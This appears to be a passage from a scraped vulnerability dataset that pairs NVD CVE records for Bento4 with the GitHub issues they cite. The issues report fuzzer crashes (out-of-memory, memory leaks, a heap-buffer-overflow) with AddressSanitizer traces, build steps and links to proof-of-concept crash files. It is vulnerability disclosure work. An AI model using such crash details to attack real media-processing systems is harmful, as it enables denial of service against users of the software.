"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/747"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/770"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/770
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hello, I use my fuzzer to fuzz binary mp4tag , the three binary all crashede, and shows that allocator is out of memory trying to allocate 0xxxxxxx bytes. Then I use the crash input to test binary mpesplit and mp42hevc,and all crashed beacuse of same situation. The version of Bento4 is the latest commit[5b7cc25](https://github.com/axiomatic-systems/Bento4/commit/5b7cc2500d514717a64675fcf631939494c074ce) and the operation system is Ubuntu 18.04(docker). The following is the details.And the issue is different from #342. Beacuse I test the poc,and it didn't work.
# Bug1
```
root@76fc65f1cc2f:/Bento4/build# ./mp4tag crash_1.mp4
=================================================================
==206601==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xfffeffee bytes
#0 0x4f4778 in operator new[](unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:102
#1 0x532595 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28
#2 0x532595 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33
==206601==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:102 in operator new[](unsigned long)
==206601==ABORTING
```
# Bug2
```
root@76fc65f1cc2f:/Bento4/build# ./mp4tag crash_2.mp4
=================================================================
==233834==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x1fffffff8 bytes
#0 0x4f4618 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x537e3d in AP4_Array<AP4_ElstEntry>::EnsureCapacity(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:172:25
#2 0x537e3d in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4ElstAtom.cpp:87:15
#3 0x537b15 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4ElstAtom.cpp:51:16
#4 0x50e244 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:590:20
#5 0x50cfd4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#6 0x50c7fe in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#7 0x53a50e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:104:12
#8 0x53a9ed in AP4_File::AP4_File(AP4_ByteStream&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:78:5
#9 0x4f9403 in main /Bento4/Source/C++/Apps/Mp4Tag/Mp4Tag.cpp:821:20
#10 0x7f0a40dd5c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
==233834==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99 in operator new(unsigned long)
==233834==ABORTING
```
# Environment
clang 11.0.1
clang++ 11.0.1
version:master branch(commit[5b7cc25](https://github.com/axiomatic-systems/Bento4/commit/5b7cc2500d514717a64675fcf631939494c074ce))
# Platform
```
$ uname -a
Linux kali 5.10.0-kali9-amd64 #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_64 GNU/Linux
```
# How to compile
```
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
mkdir cmakebuild
cd cmakebuild
cmake -DCMAKE_BUILD_TYPE=Release ..
make
```
# POC
[crash.zip](https://github.com/axiomatic-systems/Bento4/files/9631277/crash.zip)
# NOTE
I find the two bugs not only exist in latest branch but also exist in latest release version Bento4-1.6.0-639.
# Credit
Yuhang Huang ([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/)),(Zhongguancun Laboratory)
Yin li,Jiayuan Zhang([NCNIPC of China](http://www.nipc.org.cn/)),(Zhongguancun Laboratory)
Thansk for your time!
|
there are some vulnerabilities in binary mp4tag
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/770/comments
| 0 |
2022-09-23T07:02:26Z
|
2023-06-26T06:33:03Z
|
https://github.com/axiomatic-systems/Bento4/issues/770
| 1,383,377,290 | 770 |
CVE-2022-41846
|
2022-09-30T05:15:11.870
|
An issue was discovered in Bento4 1.6.0-639. There ie excessive memory consumption in the function AP4_DataBuffer::ReallocateBuffer in Core/Ap4DataBuffer.cpp.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/342"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/770"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/342
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
A crafted input will lead to Memory allocation failed in Ap4DataBuffer.cpp at Bento4 1.5.1-627
Triggered by
./mp42hls crash2.mp4
Poc
[crash2.zip](https://github.com/axiomatic-systems/Bento4/files/2685099/crash2.zip)
Bento4 Version 1.5.1-627
The ASAN information is as follows:
```
==92387==ERROR: AddressSanitizer failed to allocate 0x80003000 (2147495936) bytes of LargeMmapAllocator (errno: 12)
==92387==Process memory map follows:
0x000000400000-0x0000005aa000 /home/jas/Downloads/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls
0x0000007a9000-0x0000007aa000 /home/jas/Downloads/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls
0x0000007aa000-0x0000007b9000 /home/jas/Downloads/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls
0x0000007b9000-0x0000007ba000
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x600000000000-0x602000000000
0x602000000000-0x602000010000
0x602000010000-0x603000000000
0x603000000000-0x603000010000
0x603000010000-0x604000000000
0x604000000000-0x604000010000
0x604000010000-0x606000000000
0x606000000000-0x606000010000
0x606000010000-0x607000000000
0x607000000000-0x607000010000
0x607000010000-0x608000000000
0x608000000000-0x608000010000
0x608000010000-0x60b000000000
0x60b000000000-0x60b000010000
0x60b000010000-0x60c000000000
0x60c000000000-0x60c000010000
0x60c000010000-0x60d000000000
0x60d000000000-0x60d000010000
0x60d000010000-0x60e000000000
0x60e000000000-0x60e000010000
0x60e000010000-0x610000000000
0x610000000000-0x610000010000
0x610000010000-0x611000000000
0x611000000000-0x611000010000
0x611000010000-0x613000000000
0x613000000000-0x613000010000
0x613000010000-0x614000000000
0x614000000000-0x614000020000
0x614000020000-0x615000000000
0x615000000000-0x615000020000
0x615000020000-0x616000000000
0x616000000000-0x616000020000
0x616000020000-0x619000000000
0x619000000000-0x619000020000
0x619000020000-0x61c000000000
0x61c000000000-0x61c000020000
0x61c000020000-0x621000000000
0x621000000000-0x621000020000
0x621000020000-0x624000000000
0x624000000000-0x624000020000
0x624000020000-0x626000000000
0x626000000000-0x626000020000
0x626000020000-0x629000000000
0x629000000000-0x629000010000
0x629000010000-0x62d000000000
0x62d000000000-0x62d000020000
0x62d000020000-0x631000000000
0x631000000000-0x631000030000
0x631000030000-0x640000000000
0x640000000000-0x640000003000
0x7fe341500000-0x7fe341600000
0x7fe341700000-0x7fe341800000
0x7fe3418fe000-0x7fe343c50000
0x7fe343c50000-0x7fe343d58000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fe343d58000-0x7fe343f57000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fe343f57000-0x7fe343f58000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fe343f58000-0x7fe343f59000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fe343f59000-0x7fe343f5c000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fe343f5c000-0x7fe34415b000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fe34415b000-0x7fe34415c000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fe34415c000-0x7fe34415d000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fe34415d000-0x7fe344175000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fe344175000-0x7fe344374000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fe344374000-0x7fe344375000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fe344375000-0x7fe344376000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fe344376000-0x7fe34437a000
0x7fe34437a000-0x7fe34453a000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fe34453a000-0x7fe34473a000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fe34473a000-0x7fe34473e000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fe34473e000-0x7fe344740000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fe344740000-0x7fe344744000
0x7fe344744000-0x7fe34475a000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fe34475a000-0x7fe344959000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fe344959000-0x7fe34495a000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fe34495a000-0x7fe344acc000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x7fe344acc000-0x7fe344ccc000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x7fe344ccc000-0x7fe344cd6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x7fe344cd6000-0x7fe344cd8000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x7fe344cd8000-0x7fe344cdc000
0x7fe344cdc000-0x7fe344dd0000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fe344dd0000-0x7fe344fd0000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fe344fd0000-0x7fe344fd3000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fe344fd3000-0x7fe344fd4000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fe344fd4000-0x7fe345c49000
0x7fe345c49000-0x7fe345c6f000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fe345d54000-0x7fe345e58000
0x7fe345e58000-0x7fe345e6e000
0x7fe345e6e000-0x7fe345e6f000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fe345e6f000-0x7fe345e70000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fe345e70000-0x7fe345e71000
0x7fffeaa6e000-0x7fffeaa8f000 [stack]
0x7fffeaae9000-0x7fffeaaeb000 [vvar]
0x7fffeaaeb000-0x7fffeaaed000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==92387==End of process memory map.
==92387==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:121 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0)
#0 0x7fe344d7c631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631)
#1 0x7fe344d815e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3)
#2 0x7fe344d89611 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xad611)
#3 0x7fe344cfec0c (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22c0c)
#4 0x7fe344d7567e in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9967e)
#5 0x4abb54 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4DataBuffer.cpp:210
#6 0x4abb54 in AP4_DataBuffer::SetDataSize(unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4DataBuffer.cpp:151
#7 0x48ba72 in AP4_Sample::ReadData(AP4_DataBuffer&, unsigned int, unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4Sample.cpp:147
#8 0x48ba72 in AP4_Sample::ReadData(AP4_DataBuffer&) /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4Sample.cpp:127
#9 0x4449dd in ReadSample /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:976
#10 0x4485af in WriteSamples /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1251
#11 0x4412a0 in main /home/jas/Downloads/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:2088
#12 0x7fe34439a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#13 0x4445b8 in _start (/home/jas/Downloads/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x4445b8)
```
FoundBy: [email protected]
|
Allocate for large amounts of memory failed in Ap4DataBuffer.cpp:210 at Bento4 1.5.1-627 when running mp42hls
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/342/comments
| 1 |
2018-12-17T08:48:55Z
|
2019-01-12T20:15:42Z
|
https://github.com/axiomatic-systems/Bento4/issues/342
| 391,610,142 | 342 |
CVE-2022-41847
|
2022-09-30T05:15:11.957
|
An issue was discovered in Bento4 1.6.0-639. A memory leak exists in AP4_StdcFileByteStream::Create(AP4_FileByteStream*, char const*, AP4_FileByteStream::Mode, AP4_ByteStream*&) in System/StdC/Ap4StdCFileByteStream.cpp.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/750"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/759"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/775"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/759
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
I use AFL when fuzzing and got some crashes.
=================================================================
==3780==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:
#0 0x4c470d in operator new(unsigned long) (/home/hjsz/Bento4/cmakebuild/mp4fragment+0x4c470d)
#1 0x653b06 in AP4_StdcFileByteStream::Create(AP4_FileByteStream*, char const*, AP4_FileByteStream::Mode, AP4_ByteStream*&) /home/hjsz/Bento4/Source/C++/System/StdC/Ap4StdCFileByteStream.cpp:279:14
SUMMARY: AddressSanitizer: 48 byte(s) leaked in 1 allocation(s).
=================================================================
[crash](https://github.com/yangfar/Image/blob/main/crash.zip)
**Report of the Information Security Laboratory of Ocean University of China @OUC_ISLOUC @OUC_Blue_Whale**
|
There are memory leaks in mp4fragment
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/759/comments
| 0 |
2022-09-17T08:19:32Z
|
2023-05-29T02:53:19Z
|
https://github.com/axiomatic-systems/Bento4/issues/759
| 1,376,705,591 | 759 |
CVE-2022-41847
|
2022-09-30T05:15:11.957
|
An issue was discovered in Bento4 1.6.0-639. A memory leak exists in AP4_StdcFileByteStream::Create(AP4_FileByteStream*, char const*, AP4_FileByteStream::Mode, AP4_ByteStream*&) in System/StdC/Ap4StdCFileByteStream.cpp.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/750"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/759"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/775"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/775
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hello, I use fuzer to test binary acc2mp4, and found some carshes, which can result binary mp4split crash too. Here are the details.
# Bug1
```
root@d5f4647d38bd:/aac2mp4/aac2mp4# /Bento4/build/aac2mp4 crash1 /dev/null
AAC frame [000000]: size = -7, 96000 kHz, 0 ch
=================================================================
==813117==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d000008400 at pc 0x0000004ad912 bp 0x7ffe2c57b390 sp 0x7ffe2c57ab40
READ of size 4294967287 at 0x62d000008400 thread T0
#0 0x4ad911 in __asan_memcpy /llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22
#1 0x4facae in AP4_BitStream::ReadBytes(unsigned char*, unsigned int) /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:192:10
#2 0x4f8485 in main /Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:142:29
#3 0x7fec98881c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#4 0x41c349 in _start (/Bento4/build/aac2mp4+0x41c349)
0x62d000008400 is located 0 bytes to the right of 32768-byte region [0x62d000000400,0x62d000008400)
allocated by thread T0 here:
#0 0x4f4638 in operator new[](unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:102
#1 0x4fa30d in AP4_BitStream::AP4_BitStream() /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:45:16
#2 0x7fec98881c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow /llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c5a7fff9030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a7fff9080:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==813117==ABORTING
```
# Bug2
```
root@d5f4647d38bd:/aac2mp4/aac2mp4# ./mp4split crash2
no movie found in file
=================================================================
==888268==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x5de94f in AP4_StdcFileByteStream::Create(AP4_FileByteStream*, char const*, AP4_FileByteStream::Mode, AP4_ByteStream*&) /Bento4/Source/C++/System/StdC/Ap4StdCFileByteStream.cpp:279:14
Indirect leak of 256 byte(s) in 1 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x536495 in AP4_Array<unsigned int>::EnsureCapacity(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:172:25
#2 0x536495 in AP4_Array<unsigned int>::Append(unsigned int const&) /Bento4/Source/C++/Core/Ap4Array.h:252:29
#3 0x536495 in AP4_FtypAtom::AP4_FtypAtom(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4FtypAtom.cpp:57:28
#4 0x50966b in AP4_FtypAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4FtypAtom.h:66:20
#5 0x50966b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:630:20
#6 0x507ec4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#7 0x5076ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#8 0x5350be in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:104:12
#9 0x5357ed in AP4_File::AP4_File(AP4_ByteStream&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:78:5
#10 0x4f841f in main /Bento4/Source/C++/Apps/Mp4Split/Mp4Split.cpp:258:26
#11 0x7f11ba50dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x507f57 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:242:16
#2 0x5076ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#3 0x5350be in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:104:12
#4 0x5357ed in AP4_File::AP4_File(AP4_ByteStream&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:78:5
#5 0x4f841f in main /Bento4/Source/C++/Apps/Mp4Split/Mp4Split.cpp:258:26
#6 0x7f11ba50dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 72 byte(s) in 1 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x4f83f7 in main /Bento4/Source/C++/Apps/Mp4Split/Mp4Split.cpp:258:22
#2 0x7f11ba50dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 72 byte(s) in 1 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x509659 in AP4_FtypAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4FtypAtom.h:66:16
#2 0x509659 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:630:20
#3 0x507ec4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#4 0x5076ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#5 0x5350be in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:104:12
#6 0x5357ed in AP4_File::AP4_File(AP4_ByteStream&, bool) /Bento4/Source/C++/Core/Ap4File.cpp:78:5
#7 0x4f841f in main /Bento4/Source/C++/Apps/Mp4Split/Mp4Split.cpp:258:26
#8 0x7f11ba50dc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 48 byte(s) in 2 object(s) allocated from:
#0 0x4f45d8 in operator new(unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:99
#1 0x4fd2d3 in AP4_List<AP4_Atom>::Add(AP4_Atom*) /Bento4/Source/C++/Core/Ap4List.h:160:16
#2 0x4fd2d3 in AP4_AtomParent::AddChild(AP4_Atom*, int) /Bento4/Source/C++/Core/Ap4Atom.cpp:532:29
SUMMARY: AddressSanitizer: 584 byte(s) leaked in 7 allocation(s).
```
# Environment
Ubuntu 18.04(docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch([5b7cc25](https://github.com/axiomatic-systems/Bento4/commit/5b7cc2500d514717a64675fcf631939494c074ce))
# How to reproduce
```
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
mkdir build
cd build
